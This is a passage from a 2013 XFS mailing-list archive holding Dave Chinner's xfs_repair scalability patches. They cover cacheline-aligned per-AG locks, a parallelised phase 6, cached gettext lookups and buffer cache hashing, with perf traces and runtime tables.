pthread_mutex_unlock(&ag_locks[agno].lock); return(0); default: do_warn( @@ -176,7 +176,7 @@ verify_inode_chunk(xfs_mount_t *mp, break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); start_agino = XFS_OFFBNO_TO_AGINO(mp, agbno, 0); *start_ino = XFS_AGINO_TO_INO(mp, agno, start_agino); @@ -424,7 +424,7 @@ verify_inode_chunk(xfs_mount_t *mp, * user data -- we're probably here as a result of a directory * entry or an iunlinked pointer */ - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); for (cur_agbno = chunk_start_agbno; cur_agbno < chunk_stop_agbno; cur_agbno += blen) { @@ -438,7 +438,7 @@ verify_inode_chunk(xfs_mount_t *mp, _("inode block %d/%d multiply claimed, (state %d)\n"), agno, cur_agbno, state); set_bmap_ext(agno, cur_agbno, blen, XR_E_MULT); - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); return 0; case XR_E_INO: do_error( @@ -449,7 +449,7 @@ verify_inode_chunk(xfs_mount_t *mp, break; } } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); /* * ok, chunk is good. put the record into the tree if required, @@ -472,7 +472,7 @@ verify_inode_chunk(xfs_mount_t *mp, set_inode_used(irec_p, agino - start_agino); - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); for (cur_agbno = chunk_start_agbno; cur_agbno < chunk_stop_agbno; @@ -505,7 +505,7 @@ verify_inode_chunk(xfs_mount_t *mp, break; } } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); return(ino_cnt); } @@ -736,7 +736,7 @@ process_inode_chunk( /* * mark block as an inode block in the incore bitmap */ - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { case XR_E_INO: /* already marked */ @@ -755,7 +755,7 @@ process_inode_chunk( XFS_AGB_TO_FSB(mp, agno, agbno), state); break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); for (;;) { /* @@ -914,7 +914,7 @@ process_inode_chunk( ibuf_offset = 0; agbno++; - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { case XR_E_INO: /* already marked */ @@ -935,7 +935,7 @@ process_inode_chunk( XFS_AGB_TO_FSB(mp, agno, agbno), state); break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); } else if (irec_offset == XFS_INODES_PER_CHUNK) { /* diff --git a/repair/dinode.c b/repair/dinode.c index 8f14a9e..77bbe40 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -700,8 +700,8 @@ _("Fatal error: inode %" PRIu64 " - blkmap_set_ext(): %s\n" ebno = agbno + irec.br_blockcount; if (agno != locked_agno) { if (locked_agno != -1) - pthread_mutex_unlock(&ag_locks[locked_agno]); - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[locked_agno].lock); + pthread_mutex_lock(&ag_locks[agno].lock); locked_agno = agno; } @@ -770,7 +770,7 @@ _("illegal state %d in block map %" PRIu64 "\n"), error = 0; done: if (locked_agno != -1) - pthread_mutex_unlock(&ag_locks[locked_agno]); + pthread_mutex_unlock(&ag_locks[locked_agno].lock); if (i != *numrecs) { ASSERT(i < *numrecs); diff --git a/repair/globals.h b/repair/globals.h index aef8b79..cbb2ce7 100644 --- a/repair/globals.h +++ b/repair/globals.h @@ -186,7 +186,10 @@ EXTERN xfs_extlen_t sb_inoalignmt; EXTERN __uint32_t sb_unit; EXTERN __uint32_t sb_width; -EXTERN pthread_mutex_t *ag_locks; +struct aglock { + pthread_mutex_t lock __attribute__((__aligned__(64))); +}; +EXTERN struct aglock *ag_locks; EXTERN int report_interval; EXTERN __uint64_t *prog_rpt_done; diff --git a/repair/incore.c b/repair/incore.c index 3590464..a8d497e 100644 --- a/repair/incore.c +++ b/repair/incore.c @@ -294,13 +294,13 @@ init_bmaps(xfs_mount_t *mp) if (!ag_bmap) do_error(_("couldn't allocate block map btree roots\n")); - ag_locks = calloc(mp->m_sb.sb_agcount, sizeof(pthread_mutex_t)); + ag_locks = calloc(mp->m_sb.sb_agcount, sizeof(struct aglock)); if (!ag_locks) do_error(_("couldn't allocate block map locks\n")); for (i = 0; i < mp->m_sb.sb_agcount; i++) { btree_init(&ag_bmap[i]); - pthread_mutex_init(&ag_locks[i], NULL); + pthread_mutex_init(&ag_locks[i].lock, NULL); } init_rt_bmap(mp); diff --git a/repair/scan.c b/repair/scan.c index 49ed194..f9afdb1 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -273,7 +273,7 @@ _("bad back (left) sibling pointer (saw %llu should be NULL (0))\n" agno = XFS_FSB_TO_AGNO(mp, bno); agbno = XFS_FSB_TO_AGBNO(mp, bno); - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { case XR_E_UNKNOWN: @@ -319,7 +319,7 @@ _("bad state %d, inode %" PRIu64 " bmap block 0x%" PRIx64 "\n"), state, ino, bno); break; } - pthread_mutex_unlock(&ag_locks[agno]); + pthread_mutex_unlock(&ag_locks[agno].lock); } else { /* * attribute fork for realtime files is in the regular -- 1.8.4.rc3 From dave@fromorbit.com Thu Dec 12 01:22:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 809327F54 for ; Thu, 12 Dec 2013 01:22:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 50E9530406B for ; Wed, 11 Dec 2013 23:22:34 -0800 (PST) X-ASG-Debug-ID: 1386832952-04bdf013231cff80001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id x8KLZpqppLaUKtsV for ; Wed, 11 Dec 2013 23:22:32 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlMGAI1jqVJ5LHyk/2dsb2JhbABZgwe7Wxd0gwI7gQIDiDWjLJ8vjjF0hB4Eol+HSIM9KIEt Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 17:52:31 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vr0bM-0000oE-KC for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vr0bM-0005Bl-J4 for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/5] xfs_repair: scalability inmprovements Date: Thu, 12 Dec 2013 18:22:20 +1100 X-ASG-Orig-Subj: [PATCH 0/5] xfs_repair: scalability inmprovements Message-Id: <1386832945-19763-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386832952 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- HI folks, The following 5 patches to xfs_repair improve scalability on high IOPS devices. They remove contention points that limit the number of IO threads that we can use, whilst also protecting against using too much concurrency. The first patch removes a contention point in a 3rd party translation library by avoiding translating static data repeatedly. The second separates the per-ag locks into separate cachelines, so we don't get threads working on different AGs contending on cachelines shared by non-shared locks. THe third parallelises phase 6, which was never done because the original repair parallelism work didn't show it to be a significant contributor to runtime. Even serialised it was as fast as the parallelised phases. However, that's a different story now with SSDs - it's the only phase that is CPU bound because it doesn't spread the work across multiple CPUs, and so is by far the slowest phase of repair on SSDs. The fourht patch corrects a problem with CPU usage in the buffer cache - the hash table distributions are awful. Finally, the last patch fixes a problem reported by Michael Semon where too much concurrency was being used by xfs_repair and hence failing because it was unable to allocate threads. Cheers, Dave. From dave@fromorbit.com Thu Dec 12 01:22:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8A65D7F56 for ; Thu, 12 Dec 2013 01:22:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5B1E28F804C for ; Wed, 11 Dec 2013 23:22:38 -0800 (PST) X-ASG-Debug-ID: 1386832952-04bdf013231cff80002-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id QqHHNY7h5JDe82Pk for ; Wed, 11 Dec 2013 23:22:33 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArwOAI1jqVJ5LHyk/2dsb2JhbABZgwc4pCADlwAXdIIlAQEFJy8zCBgxOQMbGR6HY8JEF5NDBJlEkGODPSg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 17:52:31 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vr0bM-0000oI-Mj for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vr0bM-0005By-Lo for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/5] repair: phase 6 is trivially parallelisable Date: Thu, 12 Dec 2013 18:22:23 +1100 X-ASG-Orig-Subj: [PATCH 3/5] repair: phase 6 is trivially parallelisable Message-Id: <1386832945-19763-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386832945-19763-1-git-send-email-david@fromorbit.com> References: <1386832945-19763-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386832953 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Phase 6 is currently single threaded, but it iterates AGs one at a time. When there are hundreds of AGs that need scanning, this takes a long time. Given that all the objects that the AG traversal works on are per-ag, we can simply parallelise this into a strided AG processing like phase 3 and 4. Unpatched: 8m40s patched: 1m10s (7 threads) Big win! Signed-off-by: Dave Chinner --- repair/phase6.c | 56 +++++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 47 insertions(+), 9 deletions(-) diff --git a/repair/phase6.c b/repair/phase6.c index d2d4a44..d82f900 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -51,6 +51,7 @@ typedef struct dotdot_update { static dotdot_update_t *dotdot_update_list; static int dotdot_update; +static pthread_mutex_t dotdot_lock; static void add_dotdot_update( @@ -64,12 +65,14 @@ add_dotdot_update( do_error(_("malloc failed add_dotdot_update (%zu bytes)\n"), sizeof(dotdot_update_t)); + pthread_mutex_lock(&dotdot_lock); dir->next = dotdot_update_list; dir->irec = irec; dir->agno = agno; dir->ino_offset = ino_offset; dotdot_update_list = dir; + pthread_mutex_unlock(&dotdot_lock); } /* @@ -2918,34 +2921,68 @@ update_missing_dotdot_entries( * these entries parents were updated, rebuild them again * set dotdot_update flag so processing routines do not count links */ + pthread_mutex_lock(&dotdot_lock); dotdot_update = 1; while (dotdot_update_list) { dir = dotdot_update_list; dotdot_update_list = dir->next; + dir->next = NULL; + pthread_mutex_unlock(&dotdot_lock); + process_dir_inode(mp, dir->agno, dir->irec, dir->ino_offset); free(dir); + + pthread_mutex_lock(&dotdot_lock); } + pthread_mutex_unlock(&dotdot_lock); } static void traverse_ags( - xfs_mount_t *mp) + xfs_mount_t *mp) { - int i; - work_queue_t queue; + int i, j; + xfs_agnumber_t agno; + work_queue_t *queues; prefetch_args_t *pf_args[2]; /* * we always do prefetch for phase 6 as it will fill in the gaps * not read during phase 3 prefetch. */ - queue.mp = mp; - pf_args[0] = start_inode_prefetch(0, 1, NULL); - for (i = 0; i < glob_agcount; i++) { - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, - pf_args[i & 1]); - traverse_function(&queue, i, pf_args[i & 1]); + if (!ag_stride) { + work_queue_t queue; + + queue.mp = mp; + pf_args[0] = start_inode_prefetch(0, 1, NULL); + for (i = 0; i < glob_agcount; i++) { + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, + pf_args[i & 1]); + traverse_function(&queue, i, pf_args[i & 1]); + } + return; } + + /* + * create one worker thread for each segment of the volume + */ + queues = malloc(thread_count * sizeof(work_queue_t)); + for (i = 0, agno = 0; i < thread_count; i++) { + create_work_queue(&queues[i], mp, 1); + pf_args[0] = NULL; + for (j = 0; j < ag_stride && agno < glob_agcount; j++, agno++) { + pf_args[0] = start_inode_prefetch(agno, 1, pf_args[0]); + queue_work(&queues[i], traverse_function, agno, + pf_args[0]); + } + } + + /* + * wait for workers to complete + */ + for (i = 0; i < thread_count; i++) + destroy_work_queue(&queues[i]); + free(queues); } void @@ -2957,6 +2994,7 @@ phase6(xfs_mount_t *mp) memset(&zerocr, 0, sizeof(struct cred)); memset(&zerofsx, 0, sizeof(struct fsxattr)); orphanage_ino = 0; + pthread_mutex_init(&dotdot_lock, NULL); do_log(_("Phase 6 - check inode connectivity...\n")); -- 1.8.4.rc3 From dave@fromorbit.com Thu Dec 12 01:22:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 065EB7F51 for ; Thu, 12 Dec 2013 01:22:39 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CA81A8F804C for ; Wed, 11 Dec 2013 23:22:35 -0800 (PST) X-ASG-Debug-ID: 1386832953-04bdf013211cff80001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id nE3aHZ5XKzqWSVO5 for ; Wed, 11 Dec 2013 23:22:34 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAI1jqVJ5LHyk/2dsb2JhbABZgwe7Wxd0giUBAQVWMwgYMTkDGxkeh2PCRBeOMYUSBKongz0ogS0 Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 17:52:31 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vr0bM-0000oF-Kn for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vr0bM-0005Bo-Ju for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/5] repair: translation lookups limit scalability Date: Thu, 12 Dec 2013 18:22:21 +1100 X-ASG-Orig-Subj: [PATCH 1/5] repair: translation lookups limit scalability Message-Id: <1386832945-19763-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386832945-19763-1-git-send-email-david@fromorbit.com> References: <1386832945-19763-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386832953 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner A bit of perf magic showed that scalability was limits to 3-4 concurrent threads due to contention on a lock inside in something called __dcigettext(). That some library somewhere that repair is linked against, and it turns out to be inside the translation infrastructure to support the _() string mechanism: # Samples: 34K of event 'cs' # Event count (approx.): 495567 # # Overhead Command Shared Object Symbol # ........ ............. ................. .............. # 60.30% xfs_repair [kernel.kallsyms] [k] __schedule | --- 0x63fffff9c process_bmbt_reclist_int | |--39.95%-- __dcigettext | __lll_lock_wait | system_call_fastpath | SyS_futex | do_futex | futex_wait | futex_wait_queue_me | schedule | __schedule | |--8.91%-- __lll_lock_wait | system_call_fastpath | SyS_futex | do_futex | futex_wait | futex_wait_queue_me | schedule | __schedule --51.13%-- [...] Runtime of an unpatched xfs_repair is roughly: XFS_REPAIR Summary Fri Dec 6 11:15:50 2013 Phase Start End Duration Phase 1: 12/06 10:56:21 12/06 10:56:21 Phase 2: 12/06 10:56:21 12/06 10:56:23 2 seconds Phase 3: 12/06 10:56:23 12/06 11:01:31 5 minutes, 8 seconds Phase 4: 12/06 11:01:31 12/06 11:07:08 5 minutes, 37 seconds Phase 5: 12/06 11:07:08 12/06 11:07:09 1 second Phase 6: 12/06 11:07:09 12/06 11:15:49 8 minutes, 40 seconds Phase 7: 12/06 11:15:49 12/06 11:15:50 1 second Total run time: 19 minutes, 29 seconds Patched version: Phase Start End Duration Phase 1: 12/06 10:36:29 12/06 10:36:29 Phase 2: 12/06 10:36:29 12/06 10:36:31 2 seconds Phase 3: 12/06 10:36:31 12/06 10:40:08 3 minutes, 37 seconds Phase 4: 12/06 10:40:08 12/06 10:43:42 3 minutes, 34 seconds Phase 5: 12/06 10:43:42 12/06 10:43:42 Phase 6: 12/06 10:43:42 12/06 10:50:28 6 minutes, 46 seconds Phase 7: 12/06 10:50:28 12/06 10:50:29 1 second Total run time: 14 minutes Big win! Signed-off-by: Dave Chinner --- repair/dinode.c | 28 ++++++++++++++++++++++++---- 1 file changed, 24 insertions(+), 4 deletions(-) diff --git a/repair/dinode.c b/repair/dinode.c index 7469fc8..8f14a9e 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -522,6 +522,11 @@ _("illegal state %d in rt block map %" PRIu64 "\n"), * file overlaps with any duplicate extents (in the * duplicate extent list). */ +static char *__forkname_data; +static char *__forkname_attr; +static char *__ftype_real_time; +static char *__ftype_regular; + static int process_bmbt_reclist_int( xfs_mount_t *mp, @@ -552,15 +557,30 @@ process_bmbt_reclist_int( xfs_agnumber_t locked_agno = -1; int error = 1; + /* + * gettext lookups for translations of strings use mutexes internally to + * the library. Hence when we come through here doing parallel scans in + * multiple AGs, then all do concurrent text conversions and serialise + * on the translation string lookups. Let's avoid doing repeated lookups + * by making them static variables and only assigning the translation + * once. + */ + if (!__forkname_data) { + __forkname_data = _("data"); + __forkname_attr = _("attr"); + __ftype_real_time = _("real-time"); + __ftype_regular = _("regular"); + } + if (whichfork == XFS_DATA_FORK) - forkname = _("data"); + forkname = __forkname_data; else - forkname = _("attr"); + forkname = __forkname_attr; if (type == XR_INO_RTDATA) - ftype = _("real-time"); + ftype = __ftype_real_time; else - ftype = _("regular"); + ftype = __ftype_regular; for (i = 0; i < *numrecs; i++) { libxfs_bmbt_disk_get_all(rp + i, &irec); -- 1.8.4.rc3 From dave@fromorbit.com Thu Dec 12 01:22:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F39C07F57 for ; Thu, 12 Dec 2013 01:22:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E09918F8054 for ; Wed, 11 Dec 2013 23:22:40 -0800 (PST) X-ASG-Debug-ID: 1386832955-04cb6c537c6c2e10001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 0YnKbdLwj8c1IpG2 for ; Wed, 11 Dec 2013 23:22:35 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAI1jqVJ5LHyk/2dsb2JhbABZgwe7Wxd0giUBAQUnLzMIGDE5AxsZiAHCRBeTQwSqJ4M9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 17:52:31 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vr0bM-0000oJ-NU for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vr0bM-0005C3-MV for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 4/5] libxfs: buffer cache hashing is suboptimal Date: Thu, 12 Dec 2013 18:22:24 +1100 X-ASG-Orig-Subj: [PATCH 4/5] libxfs: buffer cache hashing is suboptimal Message-Id: <1386832945-19763-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386832945-19763-1-git-send-email-david@fromorbit.com> References: <1386832945-19763-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386832955 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The hashkey calculation is very simplistic,and throws away an amount of entropy that should be folded into the hash. The result is sub-optimal distribution across the hash tables. For example, with a default 512 entry table, phase 2 results in this: Max supported entries = 4096 Max utilized entries = 3970 Active entries = 3970 Hash table size = 512 Hits = 0 Misses = 3970 Hit ratio = 0.00 Hash buckets with 0 entries 12 ( 0%) Hash buckets with 1 entries 3 ( 0%) Hash buckets with 2 entries 10 ( 0%) Hash buckets with 3 entries 2 ( 0%) Hash buckets with 4 entries 129 ( 12%) Hash buckets with 5 entries 20 ( 2%) Hash buckets with 6 entries 54 ( 8%) Hash buckets with 7 entries 22 ( 3%) Hash buckets with 8 entries 150 ( 30%) Hash buckets with 9 entries 14 ( 3%) Hash buckets with 10 entries 16 ( 4%) Hash buckets with 11 entries 7 ( 1%) Hash buckets with 12 entries 38 ( 11%) Hash buckets with 13 entries 5 ( 1%) Hash buckets with 14 entries 4 ( 1%) Hash buckets with 17 entries 1 ( 0%) Hash buckets with 19 entries 1 ( 0%) Hash buckets with 23 entries 1 ( 0%) Hash buckets with >24 entries 23 ( 16%) Now, given a perfect distribution, we shoul dhave 8 entries per chain. What we end up with is nothing like that. Unfortunately, for phase 3/4 and others, the number of cached objects results in the cache being expanded to 256k entries, and so the stats just give this; Hits = 262276 Misses = 8130393 Hit ratio = 3.13 Hash buckets with >24 entries 512 (100%) We can't evaluate the efficiency of the hashing algorithm here. Let's increase the size of the hash table to 32768 entries and go from there: Phase 2: Hash buckets with 0 entries 31884 ( 0%) Hash buckets with 1 entries 35 ( 0%) Hash buckets with 2 entries 78 ( 3%) Hash buckets with 3 entries 30 ( 2%) Hash buckets with 4 entries 649 ( 65%) Hash buckets with 5 entries 12 ( 1%) Hash buckets with 6 entries 13 ( 1%) Hash buckets with 8 entries 40 ( 8%) Hash buckets with 9 entries 1 ( 0%) Hash buckets with 13 entries 1 ( 0%) Hash buckets with 15 entries 1 ( 0%) Hash buckets with 22 entries 1 ( 0%) Hash buckets with 24 entries 17 ( 10%) Hash buckets with >24 entries 6 ( 4%) There's a significant number of collisions given the population is only 15% of the size of the table itself.... Phase 3: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262090 Hash table size = 32768 Hits = 530844 Misses = 7164575 Hit ratio = 6.90 Hash buckets with 0 entries 11898 ( 0%) .... Hash buckets with 12 entries 5513 ( 25%) Hash buckets with 13 entries 4188 ( 20%) Hash buckets with 14 entries 2073 ( 11%) Hash buckets with 15 entries 1811 ( 10%) Hash buckets with 16 entries 1994 ( 12%) .... Hash buckets with >24 entries 339 ( 4%) So, a third of the hash table does not even has any entries in them, despite having more than 7.5 million entries run through the cache. Median chain lengths are 12-16 entries, ideal is 8. And lots of collisions on the longer than 24 entrie chains... Phase 6: Hash buckets with 0 entries 14573 ( 0%) .... Hash buckets with >24 entries 2291 ( 36%) Ouch. Not a good distribution at all. Overall runtime: Phase Start End Duration Phase 1: 12/06 11:35:04 12/06 11:35:04 Phase 2: 12/06 11:35:04 12/06 11:35:07 3 seconds Phase 3: 12/06 11:35:07 12/06 11:38:27 3 minutes, 20 seconds Phase 4: 12/06 11:38:27 12/06 11:41:32 3 minutes, 5 seconds Phase 5: 12/06 11:41:32 12/06 11:41:32 Phase 6: 12/06 11:41:32 12/06 11:42:29 57 seconds Phase 7: 12/06 11:42:29 12/06 11:42:30 1 second Total run time: 7 minutes, 26 seconds Modify the hash to be something more workable - steal the linux kernel inode hash calculation and try that: phase 2: Max supported entries = 262144 Max utilized entries = 3970 Active entries = 3970 Hash table size = 32768 Hits = 0 Misses = 3972 Hit ratio = 0.00 Hash buckets with 0 entries 29055 ( 0%) Hash buckets with 1 entries 3464 ( 87%) Hash buckets with 2 entries 241 ( 12%) Hash buckets with 3 entries 8 ( 0%) Close to perfect. Phase 3: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262118 Hash table size = 32768 Hits = 567900 Misses = 7118749 Hit ratio = 7.39 Hash buckets with 5 entries 1572 ( 2%) Hash buckets with 6 entries 2186 ( 5%) Hash buckets with 7 entries 9217 ( 24%) Hash buckets with 8 entries 8757 ( 26%) Hash buckets with 9 entries 6135 ( 21%) Hash buckets with 10 entries 3166 ( 12%) Hash buckets with 11 entries 1257 ( 5%) Hash buckets with 12 entries 364 ( 1%) Hash buckets with 13 entries 94 ( 0%) Hash buckets with 14 entries 14 ( 0%) Hash buckets with 15 entries 5 ( 0%) A near-perfect bell curve centered on the optimal distribution number of 8 entries per chain. Phase 6: Hash buckets with 0 entries 24 ( 0%) Hash buckets with 1 entries 190 ( 0%) Hash buckets with 2 entries 571 ( 0%) Hash buckets with 3 entries 1263 ( 1%) Hash buckets with 4 entries 2465 ( 3%) Hash buckets with 5 entries 3399 ( 6%) Hash buckets with 6 entries 4002 ( 9%) Hash buckets with 7 entries 4186 ( 11%) Hash buckets with 8 entries 3773 ( 11%) Hash buckets with 9 entries 3240 ( 11%) Hash buckets with 10 entries 2523 ( 